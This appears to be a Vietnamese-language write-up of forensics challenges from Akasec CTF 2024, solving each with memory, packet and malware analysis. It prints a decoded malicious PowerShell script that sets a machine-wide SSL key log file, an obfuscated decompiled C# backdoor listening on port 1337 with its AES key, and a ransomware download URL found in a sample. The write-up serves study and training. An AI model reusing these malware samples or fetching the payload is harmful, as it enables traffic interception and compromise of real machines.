---
# System prepended metadata

title: Akasec CTF 2024
tags: ['@write-up']

---

![Screenshot 2024-06-09 204949](https://hackmd.io/_uploads/ByIxkwSB0.png)

# Portugal
![Screenshot 2024-06-11 122421](https://hackmd.io/_uploads/ryxiywrS0.png)
**Giải pháp:**
* ![Screenshot 2024-06-11 123716](https://hackmd.io/_uploads/Sy2RGDrH0.png)
Thấy có nhiều tiến trình chrome => Dùng filescan + grep lấy file history xem lịch sử web : 
![Screenshot 2024-06-11 125003](https://hackmd.io/_uploads/rkn9Svrr0.png)
Mình sẽ tiến find `gws-wiz-serp`(1->22) để ghép lại lấy flag

**Flag:** `AKASEC{V0L4T1L1TY_f0r_chr0m3_s34rch_h1st0ry}`

# Sussy
![Screenshot 2024-06-11 130635](https://hackmd.io/_uploads/H12utvSHC.png)
**Giải pháp:**
* Vì mấy bài này không có gì để giải thích nên mình sẽ nói nhanh giải pháp:
* ![Screenshot 2024-06-11 131106](https://hackmd.io/_uploads/H1aF9DSS0.png)
* Kỹ thuật dns exfiltration loại lấy các đoạn hex của giao thức dns về => 1 file zip (crack bằng 7z2john được passwword: `hellokitty`) => Được 1 file pdf (crack tiếp bằng pdf2john đc password: `meow`) => mở ra lấy flag.
![Screenshot 2024-06-11 131640](https://hackmd.io/_uploads/r1ARswHSA.png)

# saveme
![Screenshot 2024-06-11 131733](https://hackmd.io/_uploads/rkT-2DHrA.png)
**Giải pháp:**
* Thử thách này cho ta các file sau: 
![Screenshot 2024-06-11 132156](https://hackmd.io/_uploads/SyERTPHHA.png)
Thấy có 1 file word mình có check thử nhưng file này không dính macro, thử mở file ra xem thì thấy các trang khác đang chứa những mã hex như này:
![Screenshot 2024-06-11 133046](https://hackmd.io/_uploads/H152kurBR.png)
* Mình thử lấy về replace và decode hex xem:
* ![Screenshot 2024-06-11 133555](https://hackmd.io/_uploads/rJTUedBBC.png)
Mình được 1 file .exe, tiến hành tải về ném lên virustotal check xem 1 số thông tin:
![Screenshot 2024-06-11 133940](https://hackmd.io/_uploads/ByyOb_HBC.png)
Có thể thấy có shellcode được load trong file .exe này nhưng khi làm thì mình đã lấy file drop từ shellcode đó từ nguồn từ mục virus của cộng đồng github:
![Screenshot 2024-06-11 134506](https://hackmd.io/_uploads/BJYjGuBHC.png)
được 1 đường dẫn file : http://20.81.130.178:8080/ransomware.exe
Cách 2 làm bằng tay lấy shellcode về nhưng mình lười quá nên cũng chưa làm nữa
* Tiến hành tải file ransomware.exe về phân tích hành vi nó thôi:
  - ![Screenshot 2024-06-11 134940](https://hackmd.io/_uploads/Bku5QdrrA.png)
  - File này được code bằng c# mình sẽ dùng dnspy để phân tích:
  - ![Screenshot 2024-06-11 135650](https://hackmd.io/_uploads/S1-HS_rSC.png)
  - Phần Chính của đoạn code này nằm trong class b
Hành vi của mã độc này là đang thực hiện mã hóa `triple DES` với key là `Lp3jXluuW799rnu4` và iv là biến mảng array(thuộc kiểu byte) thực với input là các file trong thư mục đã được chỉ dẫn và đề cập trên kia => các file ảnh đã bị mã hóa mà mình đã đề cập ảnh ở trên
* Bây giờ mình sẽ dùng cyberchef decode từng ảnh và lấy flag thôi:
![Screenshot 2024-06-11 140641](https://hackmd.io/_uploads/r1P5vdSBA.png)

**Flag:** `AKASEC{F_MiCRoSft_777}`

# Sharing Is Not Caring
![Screenshot 2024-06-11 141236](https://hackmd.io/_uploads/r1gKlYOrrR.png)
**Giải pháp:**
* Thử thách cho mình 1 file disk và 1 file .pcap mình sẽ dùng wireshark để xem các gói tin mạng trước:
* Check ở stream thứ nhất thấy được:
![Screenshot 2024-06-11 142020](https://hackmd.io/_uploads/B1T0qdSS0.png)
Tải xuống 1 file `free ram.exe` ở đường dẫn trên nhưng vì file này download của giao thức https nên là không có sự hiện diện của gói tin trên này và mình có paste thử link đó lên gg nhưng đã bị chặn
* Hết cách mình sẽ vào file disk kia tìm kiếm xem thử có manh mối gì không:
![Screenshot 2024-06-11 144004](https://hackmd.io/_uploads/Hy5wyYrHA.png)
Ta thấy có 1 đường dẫn khác để tải file `free ram.exe`(dính malware), tiến hành tải về load vào ida phân tích xem:
![Screenshot 2024-06-11 144533](https://hackmd.io/_uploads/B1DhlFBHA.png)
Vào phần `string` thấy có 1 chuỗi base64 nên mình sẽ dùng strings + grep file .exe này xem chi tiết hơn:
![Screenshot 2024-06-11 144848](https://hackmd.io/_uploads/rylubYBr0.png)
Ta có được đoạn mã này
* Bây sẽ sẽ reverse lại và decode base64 xem hành vi nó là gì:
![Screenshot 2024-06-11 145025](https://hackmd.io/_uploads/BJbCZKHBR.png)
```
$sslKeyLogFile = "C:\Users\Public\Documents\Internet Explorer\SIGNUP\ink\sslkey.log"
if (-not (Test-Path $sslKeyLogFile)) {
    New-Item -Path $sslKeyLogFile -ItemType File
}
[System.Environment]::SetEnvironmentVariable('SSLKEYLOGFILE', $sslKeyLogFile, 'Machine')

Write-Error "sorry for technical issue. no ram can be boosted"
```
Đại khái Đoạn mã trên chủ yếu nhằm thiết lập một tệp log để lưu trữ các khóa SSL và thiết lập biến môi trường liên quan.
* Ý tưởng bây giờ mình sẽ vào đường dẫn trên để lấy file `sslkey.log` về và load vào wireshark để có thể xem các giao thức http bị khóa(vì mình cũng đã check thấy có rất nhiều gói tin http bị khóa nên cũng rất là nghi đến trường hợp này rồi)
* Mình sẽ load key vào file và check các trường `DATA` trong giao thức http đã bị khóa và lấy flag thôi:
![Screenshot 2024-06-11 145949](https://hackmd.io/_uploads/ryvMLFHBC.png)

**Flag:** `AKASEC{B4s1c_M4lw4r3_4nd_PC4P_4n4lys1s}`

# Snooz
![Screenshot 2024-06-11 151349](https://hackmd.io/_uploads/BygLDKSHR.png)
**Giải pháp:**
* Challenge này trong lúc diễn ra giải thì mình chỉ tìm được pastecode.
* Thử thách này người ta mình 1 file .mem và 1 file .pcap, mình sẽ đi phân tích file pcap xem sao:
![Screenshot 2024-06-11 151750](https://hackmd.io/_uploads/rJkSdFSSA.png)
Có thể thấy victim tiến hành tải về 1 file rất khả nghi, mình sẽ lấy về decode xem được gì nào:
![Screenshot 2024-06-11 151948](https://hackmd.io/_uploads/ryShuKBHC.png)
Được 1 file .exe, quăng lên virustotal để check một số thông tin
![Screenshot 2024-06-11 152158](https://hackmd.io/_uploads/SJqNYFBBC.png)
File này được viết bằng c# nên mình sẽ phân tích bằng dnspy:
```csharp
internal class a
{
	// Token: 0x06000004 RID: 4 RVA: 0x000021CC File Offset: 0x000003CC
	private static void a()
	{
		TcpListener tcpListener = new TcpListener(IPAddress.Any, 1337);
		<Module>.l = -1592258590;
		TcpListener tcpListener2 = tcpListener;
		object obj = null;
		object e = 1386028750;
		<Module>.o = 2136656571;
		<Module>.e = e;
		<Module>.a = obj;
		tcpListener2.Start();
		bool flag;
		<Module>.h = flag;
		for (;;)
		{
			flag = true;
			<Module>.k = 1987339265;
			<Module>.a = null;
			<Module>.g = flag;
			int num;
			<Module>.p = num;
			<Module>.r = -1051365525;
			NetworkStream stream;
			global::b.a = stream;
			TcpClient tcpClient = tcpListener.AcceptTcpClient();
			<Module>.i = 1057425350;
			stream = tcpClient.GetStream();
			byte[] array = new byte[1024];
			<Module>.e = null;
			byte[] array2 = array;
			<Module>.i = -1411494653;
			Stream stream2 = stream;
			byte[] buffer = array2;
			int offset = 0;
			<Module>.k = 1657774894;
			<Module>.q = 744302617;
			num = stream2.Read(buffer, offset, array2.Length);
			byte[] array3 = new byte[num];
			Array sourceArray = array2;....................
                .....
    private static byte[] b(byte[] A_0, string A_1)
	{
		Aes aes = Aes.Create();
		byte[] result;
		try
		{
			<Module>.i = 2081625616;
			SymmetricAlgorithm symmetricAlgorithm = aes;
			Encoding utf = Encoding.UTF8;
			int r = -1871252905;
			<Module>.m = -1437277352;
			<Module>.r = r;
			symmetricAlgorithm.Key = utf.GetBytes(A_1);
			SymmetricAlgorithm symmetricAlgorithm2 = aes;
			CipherMode mode = CipherMode.ECB;
			<Module>.q = -1852116043;
			<Module>.e = null;
			symmetricAlgorithm2.Mode = mode;
			<Module>.l = -1410905245;
			ICryptoTransform cryptoTransform;
			object c = cryptoTransform;
			<Module>.k = 1845842485;
			<Module>.c = c;
			SymmetricAlgorithm symmetricAlgorithm3 = aes;
			PaddingMode padding = PaddingMode.None;
			object h = null;
			<Module>.b = null;
			<Module>.h = h;
			object d = <Module>.c(Type.EmptyTypes.Length + 8801, sizeof(uint) + 9765, sizeof(float) + 89);
			bool flag;
			<Module>.d = flag;
			<Module>.d = d;
			symmetricAlgorithm3.Padding = padding;
			<Module>.i = 1308380089;
			ICryptoTransform cryptoTransform2 = aes.CreateDecryptor();
			<Module>.m = -1557401652;
			cryptoTransform = cryptoTransform2;
private const int a = 1337;

	// Token: 0x04000014 RID: 20
private const string b = "fr33___p4l3571n3";
```
* Hành vi chính của đoạn code này sẽ nằm trong class a, nói sơ quá hành vi được code này là:
  - Ban đầu thiết lại 1 giao thức tcp với port 1337 và ip là của victim , xuống bên dưới là mã hóa aes-ecb nhằm để attacker gửi thông tin đã bị mã hóa qua ip và port được thiết lập của victim
  - Key : `fr33___p4l3571n3`
  - Mình sẽ filter các giao thức có port 1337 để dữ liệu đã bị mã hóa mà attacker đã gửi cho victim là gì:
  - ![Screenshot 2024-06-11 153216](https://hackmd.io/_uploads/HklijYBrA.png)

* Mình sẽ dùng cyberchef để decode:
![Screenshot 2024-06-11 153439](https://hackmd.io/_uploads/ByWE2FrH0.png)
`Got the new pass to open the pastecode. It's 5n00zm3m3rbr0z now. Ditch the old one. Keep it on the down-low.`
    * Ban đầu thi mình đã check file mem xem thì có khá nhiều tiến trình trình duyệt nhưng khi dump về xem thì không có gì đặc biệt nên là mình sẽ chuyển hướng sang đi tìm link pastecode mình sẽ dùng strings + grep file mem với keyword là `pastecode`:
    ![Screenshot 2024-06-11 153751](https://hackmd.io/_uploads/HyZe6KSSC.png)
https://pastecode.io/s/9oz9u9h4
* Vào đường dẫn trên và dùng pastecode là `5n00zm3m3rbr0z` để có thể mở khóa:
* ![Screenshot 2024-06-11 153928](https://hackmd.io/_uploads/rJEP6YrHA.png)
Tải về nhưng yêu cầu có mật khẩu mình thử bruteforce nhưng không được, nên bây giờ sẽ tiếp tục phân tích tiến trình của file mem:
dg
* Thấy có tiến trình `notepad.exe` trông khả nghi nên mình sẽ dump về xem sao 
  - Lúc đầu mình đã dùng strings + grep nhưng thấy không khả quan lắm nên mình sẽ dùng tool `GIMP` để chỉnh xem author có ghi gì trên đó không:
  - ![Screenshot 2024-06-15 203914](https://hackmd.io/_uploads/HkfqFfiSR.png)

Sau một hồi lâu chính thì đây là password của file zip : `Samaqlo@Akasex777`
![Screenshot 2024-06-11 155049](https://hackmd.io/_uploads/HJFeg5SHR.png)
Nhưng mà mở ra không thấy gì cả kể cả dùng strings ,cat, exiftool ... vẫn không thấy gì 
* Sau khi mò một xíu thì mình có 1 tool stegseek để lấy flag được giấu trong đó:
* ![Screenshot 2024-06-11 163142](https://hackmd.io/_uploads/BJroYqSSR.png)

**Flag:** `AKASEC{05-10-2023_free_palestine}`